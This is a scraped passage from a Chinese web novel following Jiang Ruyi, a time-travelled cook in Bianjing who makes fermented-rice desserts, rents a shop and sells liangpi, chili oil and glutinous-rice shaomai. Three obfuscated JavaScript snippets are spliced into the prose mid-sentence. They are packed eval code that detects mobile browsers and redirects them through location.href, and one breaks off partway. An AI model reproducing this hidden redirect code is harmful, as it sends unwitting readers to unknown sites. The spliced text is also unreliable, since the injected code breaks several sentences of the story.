她又赏了一会儿花，然后走到厨房里面，开始捣腾今日的吃食。 从一旁的架子上，拿起个青色矮瓷罐子，姜如意将上面的盖打开，低头看了一眼里面的酒酿。 这酒酿是昨日，她将糯米蒸熟放凉之后，才封进罐子里的。经过了一天一夜的发酵，这会儿中间用筷子压下去的凹里，已经出现了一汪浅浅的酒。 姜如意拿了个小勺子，将当中澄澈的酒水舀出来一点尝尝，入口并没有多少酒味，反而是糯米的清甜，她满意的点点头。 作为一名现代人，姜如意不怎么爱喝酒，倒是这酒酿的滋味，尝过一次就爱上了。 做酒酿要挑选圆糯米，因着里面的淀粉含量高，做出来的味道才更甜。夏日里酒曲发酵的快，只需要一日就能发酵好。 发酵之后的酒酿入口清甜，糯米绵软有糯劲，吃的时候往里面打上一个蛋，或是加莲子桂圆，或是简单加冰糖和枸杞，都格外的好吃。 若是喜欢喝酒的，也可以再加水进行二次发酵，做出来的米酒呈淡淡的米黄色，喝起来甜丝丝的，又有糯米的香醇，若是酒量不好的，却要当心喝多了。 姜如意今日却不打算做米酒。 她从罐子里挖出两大勺酒酿，用勺子稍微打散，打算做酒酿芡实。 芡实也称鸡头米，本朝夜市上十分受欢迎的鸡头酿砂糖，用的便是芡实。 鲜芡实极容易煮熟，等熟后先捞出来，若是时间长了口感就不好了。 姜如意把锅里煮好的芡实都捞净了，然后重新往锅里倒入酒酿和冰糖，等水沸之后，加入刚才煮好的芡实，待出锅前调入薄芡，再撒上一把枸杞。 这一碗酒酿芡实，米白色的糯米和芡实混杂一起，其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231482|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间点缀着红色的枸杞，装在个白瓷碗中，只看上去，就是一碗高颜值的甜品。 厨房门外，阿芍和静宛闻到香气，十分好奇的走了进来。 当看到姜如意做的那酒酿罐子打开了，阿芍连忙走过来，先好奇朝罐子里看了一眼，然后又看灶台上。 “这就是小娘子昨日说的酒酿吗？” 姜如意点点头，伸手给她盛了一碗：“尝尝味道如何？” 阿芍拿起勺子，只喝了一口，就不住的点头：“好喝，不但好喝，关键模样也好看。” 阿芍一边说着，一边睁大了眼睛朝碗中看看，那模样十分舍不得吃。 姜如意瞧着阿芍这样子，忍不住笑笑：“吃吧，锅里还有呢。” 阿芍听姜如意这么说，才应了一声，这才又拿起勺子。 姜如意怕静宛年纪小，喝不惯酒酿，她将剩余的芡实用糖和熟蜜泡了，做成简易版的鸡头酿砂糖，又端了一盘糯米糕。 厨房里面，阿芍和静宛一人抱着一个碗，低头吃的津津有味。 姜如意舀一勺酒酿芡实，待喝上一口，热乎乎的酒酿米香清甜，里面的芡实软糯滑嫩，配上糯米糕，这顿早饭吃的十分舒坦 …… 与此同时，姜如意也终于寻到了合适的铺面。 小庵堂里，花二娘一迈入跨院，就看见院墙下面的小菜圃。 一眼望过去，菜圃里面波棱菜、韭、生菜等各样蔬菜，挤挤挨挨种在一起，长势茂盛，水灵灵的让人见了就喜欢。 姜如意顺着花二娘的目光看过去，颇为得意的笑笑。 自从阿芍跟她从庵堂里住下来，没事的时候，便帮忙打理这菜圃子。让姜如意感到意外的是，阿芍竟然十分擅长。 跟阿芍比起来，姜如意觉得自己打理花草那点本事，实在是不太专业。 这么想着，她索性将照料花草蔬菜的事情，都交给了阿芍。 不但如此，姜如意还打算等后面天气凉快了，再多种些蔬菜，到时候说不定还能搭个架子，种些胡瓜之类爬藤的。 姜如意将这些打算说给花二娘听。 花二娘听了不由感叹道：“姜小娘子虽说是借住在这庵堂里，但瞧着日子过的当真舒坦。” 姜如意：“也亏了慧慈师太性子慈善，由着我这样折腾。” 花二娘扭头看向姜如意，伸出两根手指头朝她摇了摇，先笑了起来：“这是其一。” “其二，也是因为姜小娘子极好的人品，所以才会人人见了都喜欢。” 姜如意被花二娘这么一夸，倒是有些意外的眨眨眼睛。 她怎么觉得，抛开人品不说，自己的厨艺倒是占了大部分原因呢？ 姜如意这样想着，也随口说给花二娘听。花二娘听了先是无奈，紧接着便和姜如意对视一眼，两人一同笑了起来。 等逛完这院子，姜如意将花二娘请进屋里。 给她倒了一杯紫苏饮子，自己也端了一杯放在桌上，这才听花二娘仔细说起铺面的事情。 19. 开张了、凉皮上市 “上回姜小娘子说州桥夜市附近的酒楼太贵，我便想着去别处打听打听。倒是没想到，恰好打听到了一处合适的铺面。” 花二娘喝了一口紫苏饮子，直接开门见山道。 姜如意好奇：“是在什么地方？” 这段时日，因着自己找铺面不太顺利，所以姜如意几番思量之后，就找了花二娘帮忙。 花二娘家中做着花卉生意，平日里向城中不少铺子供应花草，和各大酒楼跟食店皆有来往，故打听起来十分方便。如今看来，倒当真找对了人。 花二娘回答道：“却不是州桥夜市上的，而是靠近城西，姜小娘子可知道清月楼？” 姜如意点点头：“自然是知道的。” 她初来汴京城的时候，曾在城中各街道逛逛，无意间路过清月楼，对那高大气派的彩楼欢门，以及酒楼门口挂的琉璃栀子灯，皆印象非常深刻。 花二娘继续道：“清月楼虽然名气不比樊楼，但也是汴京城里数一数二的大酒楼。何况他家掌柜最是和气的，姜小娘子可以考虑一下。” 姜如意听罢有些迟疑：“地方倒是极好，但价钱上怕是不便宜吧？” 花二娘知道她会这么问，先笑了起来，朝她眨眨眼睛：“要不怎么说姜小娘子的运气好呢？” 见姜如意好奇的看向自己，花二娘朝她凑了过来：“因着清月楼的生意红火，前岁时候，便在旁边不远处新起了一座三层酒楼，是以之前那座旧的，就闲置不用了。” “但好端端一座酒楼，总不能空放着不是？是以清月楼的东家发了话，将二楼临时当作放东西的仓库，单将一楼挂出来，供散户买扑。” “原本，各铺面都租出去了，如今却恰好空出来一间，姜小娘子又在寻铺面，可不是正巧？” 姜如意点点头：“确实是巧了。” 等细细说清楚这缘由，花二娘又感叹：“听闻这座新盖的清月楼，和城东的樊楼一样豪华，站在最高处时，还能看见宫墙内的宫女荡秋千呢。” 姜如意听了，也忍不住跟着啧啧感叹了两声，已经被花二娘这番话说动了心。 她又试探着问道：“不知索价几何？” 等花二娘说出一个数字，姜如意先是惊讶，紧接着双眼便亮了起来。 …… 既然打定了主意，姜如意当即带着阿芍，去了一趟清月楼。 那负责的管事约莫四十上下，性子果然十分和气，一听说姜如意是来买扑的，亲自带着她去看铺面。 两座酒楼离着不远，只片刻的工夫，姜如意便见到不远处，迎面一座两层高的四方酒楼。 管事一边带姜如意往里走着，一边给她介绍：“酒楼地方虽然是旧的，但东家平日里维护的十分精心，寻常看不出来痕迹。” “其中一切手续和契子，皆提前在衙门办理好了，小娘子若是想卖吃食，是再合适不过的。” 姜如意听管事这话说的诚恳，笑着点了点头。 在本朝，酒楼有正店和脚店之分。 正店自官方采买酒曲，可以自己酿造酒水，脚店却必须从正店里买。另外，若是想要租铺面，则需要通过公开买扑的形式。 买扑虽然听起来繁琐，但租铺面的人却也省去了装修、宣传、以及去商税院注册的步骤，细论起来十分便利。 眼前这座旧的清月楼，被分成前后左右四块地方。前面是铺面，后面是可以住人的院子。 此时右侧和后院已经租出去了，余下左侧这间面积小些的，又在前头另开了门，和三处都不连着，进出皆十分方便。 姜如意双眼环顾了一圈这铺面，虽然表面上不显，心里面却已经喜欢起来。 原因无它，实在是因着地段太好。 这清月楼旧楼位于宫城西南侧，北边临着西华门，往东一直走是大相国寺，往南则是开封府，位置又在两条主干街道的交叉口。 方才来的路上，姜如意看到前街上，行人往来十分密集。 另着，这铺面虽然面积不大，但四四方方的格局，若细心规划一下，约莫能放开七八张桌子，后面还有一间独立的小厨房。 姜如意将视线收回来，朝管事问道：“请问买扑的地方在何处？” 管事见姜如意想要租，连忙一指角落里的木箱：“小娘子若是带了现钱来，只需将银钱和名字，装入大桑皮纸信封里，然后投入箱中。” “若是今日没带现钱也无妨，只需写下数额来，等签契那日再交钱也是一样的。” 姜如意听管事将事情安排的周到，点了点头。她走到桌子旁边写下名字，又将买扑的数额一并写在纸上，将信封投进了箱子里。 …… 三日后，管事遣伙计传来买扑的结果，姜如意顺利租下了铺面。 阿芍听见这消息，头一个高兴起来。 她从厨房里搓搓手，激动的朝姜如意说道：“前些日子，小娘子才说要租铺面，想不到如今当真就租下来了。” 姜如意听着外面伙计的传话，从蒸凉皮的平锅上抬起头来，惊喜的看看阿芍，也没料到事情这么顺利。 她又低头看一眼锅中相比之前进步了不少的凉皮，脸上露出个笑容来。 姜如意请外面传话的伙计稍等，自己用个小竹片在平锅中一划，将凉皮轻巧的倒出来，关火洗干净手，然后带着阿芍去了一趟清月楼。 清月楼里，姜如意同管事签了契，现场付过银钱，租铺面的事终于尘埃落定。 姜如意看看眼前的铺面，开始琢磨着将里面拾掇一番。 如管事口中所说，这铺子平日里维护的很是精细，墙面地面皆很干净，地板也很齐全，没有断裂缺角的。这地板用的是结实的木板，脚踩在上面触感温和，声音也比青石板要安静。 除此之外，靠墙的地方还留下了两个小木架子，可以用来放东西。 姜如意找来工匠打了柜台，又在厨房里摆上结实的木架子，厨房门口挂上隔油烟的帘子，先前留下的桌椅却是旧的。 姜如意请人将这些旧桌椅搬走，皆换成了方正的高足桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238153|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，每张桌子配了凳子。这方桌面积小，不占地方，平时可以分开摆放。若是一桌人多了，又可以拼在一起当大桌子用，十分便利。 这买扑加上换桌子找工匠的钱，加在一起足足花去十五两。 姜如意晚间算一算这花销，不由得又叹气，但转念想想刚租下来的铺面，又觉得值。 就这样，姜如意白日里忙活铺面的事，傍晚在州桥夜市摆摊，顺便向食客们宣传了一波即将上新的凉皮。 食客们听说有新吃食，皆面露期待的点点头，说等姜小娘子开张了，一定要去光顾。 姜如意闻言客气的笑笑，少不得送上一份五香豆腐干或紫苏饮子，食客们皆高兴道谢。 几日之后，姜如意的铺面终于开张了。 清晨时分，铺子里传来阵生火做饭的声音。 这会儿天色将将亮起，还不到客人上门的时间。厨房里面，姜如意趁着没人的工夫，先给自己和阿芍做了碗凉皮。 将经过水洗揉出来的面筋上锅蒸了，再把滤出来的粉浆，用个木勺子舀入平锅中，灵巧的手腕一晃一转，粉浆就均匀的摊开，然后开小火蒸制成皮子。 经过这几日的尝试，姜如意终于对面里加多少水，以及蒸皮子的时间，摸索出个大概来。 她耐心的在灶台前等着，见平锅中的粉浆由透明转凝实，面糊表面开始鼓泡，手脚利落的用小竹片自下面一划，一张蒸好的皮子，迅速落入旁边早已准备好的盘子里。 这蒸出来的凉皮不厚不薄，既能完整不破皮，嚼起来又劲道有口感。 姜如意看了一眼，十分满意的点点头。 等蒸了几张皮子之后，她手上的动作越发熟练起来，就见她倒粉浆晃锅小竹片再一划，很快就蒸了十几张。 等将这蒸好的皮子放凉，又用刀切成半寸宽的条状，里面加上胡瓜丝和焯过水的豆芽，又将蒸好的面筋切大块，放进碗里。 将这一碗凉皮里倒入料汁、蒜水并芝麻酱和辣子，却先不拌开，等吃之前再拌匀。阿芍在一旁看着，连忙抢着端碗。 “小娘子，我来端吧。” “好。” 姜如意见阿芍一副兴致勃勃的样子，点了点头，干脆将手里的碗放下，先一步去外面坐下。 因着是夏天，姜如意提前将两侧的窗户打开，又在上面挂了遮阳的小帘子，平时不用的时候卷起来，用的时候再将帘子放下，又方便又好看。 透过窗户望出去，街上有三两个行人路过，看见这新开的铺面，再看看门口挂着的布幌子，皆好奇的朝里面望一眼。 姜如意朝客人笑笑，还未说话，阿芍已经从厨房里端着两碗凉皮走出来。 这凉皮原本是米白色的，上面铺了绿色的胡瓜丝和黄色的豆芽，颜色本就鲜亮诱人。上面又浇了棕色的料水，浓郁的芝麻酱，并一抹红汪汪的辣子，用筷子这么一拌…… 门口刚才还在犹豫的食客们见了，不由自主的走进来，吸着口水，指着那碗凉皮好奇问道：“小娘子，请问这是什么吃食？” 20. 第一波客人、辣子 姜如意看着客人好奇的表情，低头看一眼面前那碗凉皮，颇为意外的眨眨眼。 这难道是、意外被凉皮吸引进来的第一波客人？ 姜如意自座位上站起身，朝客人笑笑介绍道：“这是今日新上的凉皮，是用面粉加水搅成面絮，然后用经过洗面留下的粉浆，上锅蒸出来的。” “这凉皮最适合冷着吃，口感软滑劲道不说，又用蒜水、麻酱和辣子拌了，吃起来酸辣爽口，最是适合夏天的。一碗八文钱，客人要不要来一碗尝尝？” 这几名客人听着姜如意的形容，嘴里不住的分泌口水，又听说价格也不高，连忙点了点头。 “就要一碗凉皮，多加些辣子。” 本朝虽还没有出现辣椒，但并不耽误人们对辣味的喜爱。寻常姜、蒜、胡椒或是茱萸和辣菜，都能当作提供辣味的食材，做法也是多种多样。 当初姜如意卖三鲜小馄饨的时候，竟然有客人来问，这三鲜小馄饨能不能做成辣馅儿的，而且来问的还不是一个两个。 姜如意听了有些哭笑不得，诚实的摇摇头说不能，看着客人们一脸失望的模样，姜如意觉得本朝人，当真对辣爱的疯狂。 虽然馄饨馅儿不能做成辣的，但是可以做成辣酱和辣油不是？ 因此，趁这几日装修铺面的时候，她便躲在厨房里研究炸辣子。 没有辣椒，便用同样带辣味的茱萸，不够刺激和麻嘴，那便再加上花椒和蒜，将这些调料混在一起，用热油一齐炸了，那浓烈的香气直往鼻子里钻。 姜如意连着几日在厨房里炸辣子，那冲鼻的香味勾的工匠们直咽口水，却又不好进厨房问，一个个急得抓耳挠腮。 后来被阿芍提醒，姜如意才反应过来，连忙向工匠们赔不是，又盛了辣子给他们品尝。 一品尝之下，工匠们立马被这霸道的香辣味俘获。 姜如意收回思绪，看着眼前这位喜欢吃辣的客人，笑眯眯点头，又问另外几位客人有没有忌口，能不能吃蒜吃辣。 这几位客人，原本还有些后悔进来的太冲动。 此时听店主人问的细致，又朝周围打量了一番，见桌椅皆十分干净，窗上的小帘子又格外的清雅别致，想来店主人是个仔细的，都点点头，放心的坐下来。 阿芍见有客人在，连忙将桌上，那两碗还没动过的凉皮端起来，跟着姜如意进了厨房。 姜如意让阿芍先吃着，自己自案板上拿起刀，开始切凉皮。 这凉皮和豆芽一样，都讲究现吃现拌，滋味才最好。 姜如意将凉皮切好，胡瓜丝和面筋却都是现成的。她将食材依次码进碗里，再加上料汁、蒜汁、麻酱和辣子，因为是给客人吃的，又提前在厨房里拌匀了。 厨房的食案上，几只外观大小一致的瓷罐子，自前面一字排开，里面装着或辛辣或咸香的料汁，都是姜如意订做竹箅子的时候，顺便买回来的。 此时每个罐子里，又都放了把长柄勺子，勺柄露在外面，用起来干净方便不说，还不会串味。 姜如意按照客人的要求，多舀了一勺辣子，将勺子放回罐子里，然后端着那几碗拌好的凉皮，朝厨房外走去。 …… 外面，几名食客正在打量眼前的铺面。 见姜如意端着凉皮出来，其中一人笑着朝她问道：“某记得先前，这是家卖汤饼的铺子，如今可是换了新店主人？” 姜如意双眼弯出个笑容来，点点头回答：“正是换了。听说前头那位店主，年纪老迈，所以退了租子，这才将这铺面又空余出来。” 这客人听姜如意这么一说，仔细回忆了一下，之前那位卖汤饼的，确实是位老翁，他点了点头。 紧接着又感概：“小娘子这铺子，可比先前那家要干净多了。” 另一位客人则记得更清楚些，他伸手指指旁边的窗户说道：“我记得之前那铺子，将这几扇窗户挡的严严实实的，上面又堆了不少杂物。远不如小娘子如今将窗户打开，屋里又亮堂又凉快，窗上挂的帘子也好，瞧着格外的雅致。” 一间小小的铺面里，能透出两份雅致来，当真是件极难得的事情。 故这几名食客还未吃，对姜如意又添了几分好感。 姜如意笑眯眯的收下这些夸奖，她将手里那碗凉皮放到桌上，说了句俏皮话：“客人若是喜凉快，更该试试这凉皮。” 几名客人听姜如意这么一说，更被勾起了好奇心，皆伸手拿起筷子。 姜如意说了一句客人慢用，然后就转身回了柜台。 等姜如意离开，客人先朝碗里的凉皮看了一眼，见米白色的皮子上挂着麻酱，果然多加了辣子，酱汁在碗里红汪汪一片，拌的十分均匀。 这客人用筷子在里面一搅，酱汁缓缓淌下来，他迫不及待的张嘴去接。一股浓郁的芝麻酱香混合着辛辣，自口腔中弥漫开来，滋味十足。 那辣子不知道是怎么做的，又麻又辣不说，还带着股浓浓的焦香味。 凉皮的口感果然爽滑劲道，又有清爽的胡瓜丝搭配着，面筋的孔洞里吸饱了汤汁，一咬有酱汁渗出来，就是不知道这黄色的配菜是什么。 几名客人大口大口吃着凉皮，边吃边直呼过瘾。 第一波客人还没吃完，门外就来了第二波人。姜如意抬头一看，还都是馄饨摊上的熟客。 她笑眯眯的看向那几名熟客，开口说道：“欢迎几位客人，今日是吃三鲜小馄饨，还是尝尝小店新上的凉皮？” “便尝尝姜小娘子新上的凉皮吧。” 那几名熟客说着，又笑呵呵的同姜如意说恭喜，又夸眼前这铺面。 一名熟客开口：“姜小娘子选的这铺面位置当真好找，方才刚走过路口，迎面就看见外头挂着的那布幌子，走近一看果然写着姜记。” “可不是吗？之前在州桥夜市上也好，但位置总归偏些，不如在这正街上显眼。” 姜如意掀帘的动作顿了顿，扭过头笑着回答：“几位客人好眼光，可不正是因此才 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她提前向熟客们宣传是一方面，另着也是因为这地段实在好。 凉皮的定价虽然比三鲜小馄饨低，但是成本也低啊。更何况因着这地段，来吃饭的除了之前的熟客们，还有不少附近的生客。 那些客人见路边新开了铺子，皆好奇的往里看看。 见里头的客人吃的津津有味，不少人白日里没空，晡食的时候便又来。点上一碗凉皮或是三鲜小馄饨，吃完皆点点头，意犹未尽的离开。 姜如意看一眼手中的账目，脸上露出个笑容来，觉得用不了多久，自己就能将租这铺子花出去的银钱，再赚回来。 …… 州桥夜市上，一辆马车缓缓在路边停下。 侍从回头看一眼车厢，虽然不明白阿郎为何突然让走这条路，不过还是恭敬的回禀：“阿郎，州桥夜市到了。” 裴昭掀开车厢里的帘子，朝外面望一眼，眉心轻微拧了起来。 原本路边那卖三鲜小馄饨的摊子，如今换成了个卖炸货的，摊子主人也换了，是个面相憨厚的中年汉子。 隔壁那卖花草的摊子倒是没换，女摊主靠着个花架坐着，正无聊的摆弄其中一盆花。 侍从等了半晌，见自家阿郎没有说话，试探着问道：“阿郎可是要吃宵夜，要不要属下去买？” 裴昭语气淡淡开口：“不必了。” 那侍从应了一声，他看一眼不远处那卖炸货的中年汉子，又想起先前总是一脸笑眯眯的，在这里摆摊卖馄饨的小娘子，不由得眨眨眼。 莫非阿郎是…… “回吧。”侍卫心里的想法才刚冒出来，就被车厢里淡淡的声音打断，裴昭将视线从外面收回来。 侍卫连忙应了一声：“哎。” 他又扭头看一眼那炸货摊子，收回脑子里的胡思乱想，然后就老老实实的驾车离开。 21. 生意兴隆、糯米烧卖 姜如意站在厨房里，正研究着新吃食。 这几日，来铺面里吃饭的客人颇多，除了近日来最受欢迎的凉皮之外，先前那三鲜小馄饨和五香豆腐干，也都卖的极好，薄脆胡饼却是不卖了。 原先那些生客们，连着几日前来吃饭，都跟姜如意熟识了。一听说姜如意之前在州桥夜市上摆摊卖馄饨，脸上纷纷露出惋惜的模样。 “从前的时候，怎么没留意到姜小娘子的摊子呢？” “我也常常去州桥夜市，若是早知道姜小娘子做的吃食这么好，我定天天晚上去吃。” 面对这些相见恨晚的客人们，姜如意皆是弯起眼睛笑笑，然后安慰说现在吃上也不晚。 再然后，就让阿芍端上一份腌渍的蜜煎果脯，说是自家新渍的，请客人们笑纳。 食客们听着姜如意话说的客气，又看一眼那蜜煎果脯，模样鲜亮个头儿又大，纷纷道一声感谢收下。 待吃过一颗，蜜煎那酸甜的滋味渗入味蕾中，皆惊喜的睁大了眼睛，直夸滋味极好。 姜如意听到这夸奖，笑笑转身回了柜台。 身旁的阿芍原本不明白，小娘子为何要送这蜜煎，等姜如意细细向她解释过才明白。 “这段时间来铺子里吃饭的，有一大半都是点的凉皮。这凉皮虽然味道好，咱们这里又是独一份，但毕竟里面搁蒜搁辣子，吃完之后嘴里的味道大些。” “所以送些能清新口气的蜜煎，客人也吃的安心不是？” 阿芍听完姜如意的话，很是佩服的点点头：“还是小娘子想的周到，要是换成我，根本想不到这些。” 自从阿芍从慈幼局跟着姜如意来了汴京城，对小娘子的佩服与日俱增，不管自己说什么，阿芍都捧场的点头，觉得小娘子说什么都是对的。 姜如意看着她崇拜的眼神，忍不住笑了起来。 估摸着如今每月的流水，又伸手拍拍阿芍：“自从咱们租下这铺面之后，收入比原先增加了不少，等到了下个月，就给你涨工钱。” 阿芍一听说给自己涨工钱，先是高高兴兴的“哎”了一声，紧接着又说：“小娘子只给我涨一点点就行了，之前给的那些工钱，我一个人够花的，其余小娘子都存着。” 然后又感叹：“若不是小娘子带我来，我如今还在慈幼局里做饭呢。” 姜如意听着阿芍惆怅的语气，先是哭笑不得，同时想着她让自己存钱的话，心里又有些感动。 阿芍却伸手一指面前的案板，好奇问道：“小娘子不是说要研究新吃食吗，这是要做夹馅儿馒头吗？” 不怪阿芍这样问，眼前的案板上，除了面皮之外，还有一大碗豚肉馅和香蕈碎，可不都是做夹馅儿馒头用的材料？ 回忆当初在慈幼局里，小娘子做的那豚肉馅夹馅儿馒头香的流油，实在是好吃极了。如今一想起来，阿芍忍不住吞了吞口水。 却见姜如意笑着摇了摇头：“今日却不是夹馅儿馒头，你看见那些糯米了没有，咱们今天做糯米烧卖。” 阿芍惊奇的睁大了眼睛：“小娘子，烧卖是什么？” 姜如意简单跟她解释道：“就是将糯米和豚肉做馅，包在面皮里面，上面用拇指和食指拢住，却不封口，跟夹馅儿馒头虽然很像，但吃起来口感却大不相同。” 阿芍听了更惊讶了：“小娘子，糯米也能做馅儿吗？” 姜如意见阿芍好奇，索性让她在一旁看着，自己往锅里倒了些油，开始炒馅。 她先将豚肉馅倒入锅里，随着锅内油温升高，豚肉被油煎着发出滋啦响声，渐渐的，豚肉中的油脂自馅中渗了出来，一股肉香从锅中传出。 等将豚肉馅炒至焦黄色，锅中已经渗出不少油脂，再将温水泡发过的香蕈碎倒入锅里。 只听“滋啦”一声，锅里爆开一小串油花，锅里那透明的油脂同香蕈碎混合，渐渐浸入到香蕈里面，两种食材味道交织在一起。 待着馅料炒好，糯米也蒸好了。姜如意又将糯米同肉馅混合均匀，然后搓成一个个圆球，包入擀好的面皮中。 这面皮十分有讲究，皮薄而不平，四周如同花边模样。 姜如意用虎口将烧卖上半部分收紧，顶部却不封口，小小一只摆在蒸笼中，当真像是一朵朵盛开的花。 阿芍瞧着蒸锅里那包好的糯米烧卖，只觉得光模样就十分好看，还未吃上，口中就先夸道：“小娘子，这烧卖的模样也太好看了，面皮上怎得还有花边，瞧着真的跟花似的？” 姜如意听了笑笑，向阿芍说道：“当真讲究的面皮，四面都要擀成荷叶边，那才真叫好看呢。” 至于自己擀出来这个，只是有几分相似罢了。 阿芍摇摇头：“小娘子已经擀的很好了，我从前都没见过呢。” 姜如意听着阿芍这话，倒也跟着笑笑。她这烧卖皮虽然擀的不好，但胜在别人没见过不是？ 她一边想着，一边将这些包好的烧卖上锅蒸了，不到中午，姜如意和阿芍就吃上了这刚出锅的糯米烧卖。 姜如意先将一个烧卖拿在手里看看，外表皮子薄透，馅料色泽油亮，看上去相当不错。 待咬了一口，外面的面皮薄而有韧劲，内里的馅料口感软糯，里面的糯米吸饱了豚肉的油脂，混合着香蕈的鲜美，吃在嘴里鲜香软糯，滋味十分不错。 阿芍嘴里不住的吹着热气，一连吃了好几个，边吃边连连点头：“真好吃。小娘子说的对，这味道果然跟夹馅儿馒头不一样，吃起来又鲜又香糯，同样都是豚肉和面做的，差别怎么就那么大呢？” 姜如意低头瞧一眼被阿芍吃掉大半笼的烧卖，嘱咐她吃慢点当心噎着。想到今早上有新熬的绿豆汤，放到这会儿，温度刚刚好能入口。 姜如意起身给她盛了一碗，走回来放到桌上。 中午的时候，这糯米烧卖一经推出，立刻受到了不少食客的欢迎。 一见到柜台上摆着的那带花边的糯米烧卖，不少客人都抢着要上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜如意想到原主的父母，从小便愿意下工夫教幼女执笔，想来对幼女是极为疼爱的。 谁又能想到，这样一对有拳拳之心的父母，却因为一桩案子双双丧生呢？ 姜如意看一眼手中握着的笔杆，轻叹了一口气。 阿芍看着柜台后面，正拿毛笔叹气的姜如意，好奇问道：“小娘子这是在写菜名吗？” 姜如意将思绪收回，从柜台上抬起头来，朝着阿芍点点头说道：“等这些字写好了，就拿去找工匠做成菜牌，挂在隔壁那面墙上。” “哎。” 阿芍点点头应了，又好奇的看了一眼小娘子。她怎么觉得，方才小娘子写字的时候，看上去一副很有心事的样子呢？ 姜如意被阿芍这么一打断，方才那抹感慨倒是迅速消失无踪了。 等将这几样菜名都写完，她又朝柜台右边，空着的地方看了看。因为展示糯米烧卖的效果不错，姜如意打算专门留出块地方来，用来向客人展示吃食。 阿芍听着姜如意的嘱咐，都点点头全部记下来，拿上银钱，出门去找工匠。 也不知是不是因为银钱给的足的原因，才隔了两日，工匠就将做好的菜牌送了过来。 样式按照姜如意的要求，做工精细不说，还在原本要求的数量上，多做了几块。 22. 疑惑、水晶饺子 姜如意瞧着这做工精细的小菜牌，十分满意的点点头收好。 她请王工匠坐下，又亲自端了碗绿豆汤来，请他喝了消消暑气。 王工匠乐呵呵的接过碗来，言姜小娘子这吃食生意开的红火，后面必是要再上些新菜品，所以他就多做了几块菜牌预备着。 姜如意见王工匠想的周到，连忙又道谢。 等喝了一口清凉解暑的绿豆汤，王工匠好奇问道：“那日姜小娘子让某做的那大竹箅子，可是用来发豆芽的？” 姜如意微挑一下眉头，意外的看向他。 她点点头：“是用来发豆芽的没错，不过，郎君是如何知道的？” 见当真如此，王工匠连忙放下绿豆汤：“听闻近日里，大相国寺里新上了一样斋菜，说是药典中记载的一味药食，名曰豆芽。某那日去大相国寺里，观那盛豆芽的容器，可不就跟姜小娘子来定做的竹箅子一样？” “只不过尺寸上要小些，模样也不如姜小娘子定做的精巧。” 王工匠回想起当初姜如意画的那图纸，同先前盛东西的小匣子、如今店里的柜台和架子一样，样式别致不说，关键还很好用。 姜如意闻言恍然。 如此看来，那位禅师回去之后，果然顺利发出了豆芽。这样说起来，当初给的那十五两银子也算没有白花，自己这银钱便也收的安心。 姜如意如此想着，抬起头笑眯眯的朝王工匠称赞：“郎君不愧是在手艺上做熟了的，只是看过那竹箅子的模样，便能猜到其中门道。” 王工匠被姜如意这么一夸，有些不好意思的笑笑，紧接着又非常好奇的看过来：“姜小娘子这里，可是也卖豆芽？” 姜如意见王工匠绕了这么大个圈子，竟是为了豆芽来的，终是忍不住笑了起来。她嘴上说一句“稍等”，转身进了厨房里面，等回来的时候，手里拎了一小筐豆芽。 姜如意将那豆芽递给王工匠，开口说道：“多谢郎君今日亲自跑这一趟，这些豆芽不值什么，请拿回去尝个新鲜。” 然后又叮嘱：“这豆芽凉拌或者加了肉下锅炒皆可，只注意不要炒的太久，不然口感可就不脆爽了。” 王工匠接过那筐豆芽，十分好奇的低头看了看。听着姜如意的叮嘱，连连点头，认真的记在心里，然后才乐呵呵的告辞离开。 …… 这段时日，大相国寺的豆芽一经面世，立刻受到信客们的追捧，不少人特意去大相国寺用斋饭，为的就是尝尝这药典中记载的豆芽。 “听闻这豆芽自前朝便有记载，言能清暑热、调五脏，后来不知怎么得却失传了，如今见到了，可不是要尝尝？” “某翻阅药典的时候，也曾见到过关于这豆芽的描述，当时还好奇是何种模样，倒不想今日能吃上。” 也有吃过的人夸赞说：“那豆芽瞧着似是用绿豆所发，发出来的芽约莫小指长短，吃起来清脆爽口，味道当真不错。” 也有信客好奇问起僧人，这发豆芽的方法，是如何寻得的。 斋堂里的小僧人也不隐瞒，诚实的笑笑，言是寺里的圆慧师叔，偶然去过一趟州桥夜市，从一位女摊主那里学来的。 什么？竟还是意外学得？ 这样带着些偶然的前因，立马给慕名前来吃豆芽的信客们，多添了几分谈资。 接连好几天里，大相国寺的斋堂里都挤的满满当当，就是为了尝尝这豆芽的味道。 不过发豆芽毕竟需要时间，斋堂里一时人手不足，那些来晚了没吃上的客人，只得懊悔的望而兴叹。 与此同时，渐渐的有食客发现，在汴京城西的一间小铺面里，竟然也有豆芽卖。 热闹的街巷上，有人正好奇的低声议论：“你们听说了吗，除了大相国寺之外，城西一家姜记里面，竟然也卖豆芽。” “姜记？怎得从前竟未听说过这家食店？” “却不是食店，似乎是一处新开的小铺面，只能坐下五六桌客人。” 这样的议论多了，便有人好奇去城西看看。 然后就惊奇的发现，这姜记不但卖豆芽，而且做法上花样极多，远胜大相国寺里的素斋。 这铺面里的豆芽，要么搁在凉皮里当配菜吃，要么拿醋拌了，再点上一笼糯米烧卖，一起配着吃。 